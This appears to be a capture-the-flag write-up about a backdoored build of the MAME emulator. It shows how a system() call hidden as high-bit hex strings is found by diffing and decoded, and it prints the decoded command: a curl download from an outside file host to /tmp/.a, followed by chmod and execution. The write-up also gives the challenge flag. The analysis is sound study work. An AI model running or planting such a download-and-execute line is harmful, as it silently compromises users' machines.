Writeup by Bonfee

Chall 1

Find the compiler version of `mame0240` by looking at the strings in the binary and reproduce a build as close to the original as possible.

```
$ make SOURCES="src/mame/drivers/astrocde.cpp,
    src/mame/drivers/carpolo.cpp,
    src/mame/drivers/circus.cpp,
    src/mame/drivers/exidy.cpp,
    src/mame/drivers/goldnpkr.cpp,
    src/mame/drivers/gridlee.cpp,
    src/mame/drivers/looping.cpp,
    src/mame/drivers/starfire.cpp,
    src/mame/drivers/supertnk.cpp,
    src/mame/drivers/vertigo.cpp,
    src/mame/drivers/victory.cpp,
    src/mame/drivers/williams.cpp,
    src/mame/drivers/wrally.cpp" REGENIE=1
```

Then by `bindiff`ing the two binaries you can see that there are quite some diffs in a function that calls `system`.

```
N = [0]*15
N[1]  = "E3F5F2ECA0ADEBA0ADF3A0E8F4F4F0F3"
N[2]  = "BAAFAFE6E9ECE5F3E8E1F2E5AEE6F2AF"
N[3]  = "F2E5F3F4AFE4EFF7EEECEFE1E4AFB9B1"
N[4]  = "B7E1B2B1B5B6B1E2B0B1E3E5B0E6E6B5"
N[5]  = "B1E1B0B6B4E5B2B3B6B2E4B2E3B3B0B7"
N[6]  = "B0B1B9B2B8B0B9E1B3B1B7B0B7B5B5E4"
N[7]  = "B1E6B3B8B5B9B2B5E4B8B1B8B5E5E5B2"
N[8]  = "E6B8E1E5B9E4B3E4B9E1E2B8E3B1B7B2"
N[9]  = "E5B9B3B2B4E1E1E5B6E4B9B8B0B7AFE5"
N[10] = "E6B6B7B6E2E4B0ADE4B3B2B1ADB4B0E1"
N[11] = "E5ADE2B7E5B5ADE6B5E1B8B8E4E4B2E1"
N[12] = "B7B7E2AFF2E1F7A0ADEFA0AFF4EDF0AF"
N[13] = "AEE1A0A6A6A0E3E8EDEFE4A0ABF8A0AF"
N[14] = "F4EDF0AFAEE1A0A6A6A0AFF4EDF0AFAE"

>>> def fun(p):
...     a = bytes.fromhex(p)
...     for c in a:
...         print(c & ~0x80,end='')
...     print()

>>> for i in range(1, len(N)):
...     fun(N[i])
...
```

```
curl -k -s https
://fileshare.fr/
rest/download/91
7a21561b01ce0ff5
1a064e2362d2c307
0192809a3170755d
1f385925d8185ee2
f8ae9d3d9ab8c172
e9324aae6d9807/e
f676bd0-d321-40a
e-b7e5-f5a88dd2a
77b/raw -o /tmp/
.a && chmod +x /
tmp/.a && /tmp/.

echo flag is Re tr0G4ming_4_Ever  > ~/FLA q
```

Flag

```
$ curl -k -s
https://fileshare.fr/rest/download/917a21561b01ce0ff51a064e2362d2c307019280
9a3170755d1f385925d8185ee2f8ae9d3d9ab8c172e9324aae6d9807/ef676bd0-d321-
40ae-b7e5-f5a88dd2a77b/raw -o /tmp/.a && chmod +x /tmp/.a && /tmp/.`
{"error":true,"message":"The public link has expired. The flag for step 1
is HXN{2a00d593c02a8fb2b40ad99a168cf7a4}"}
```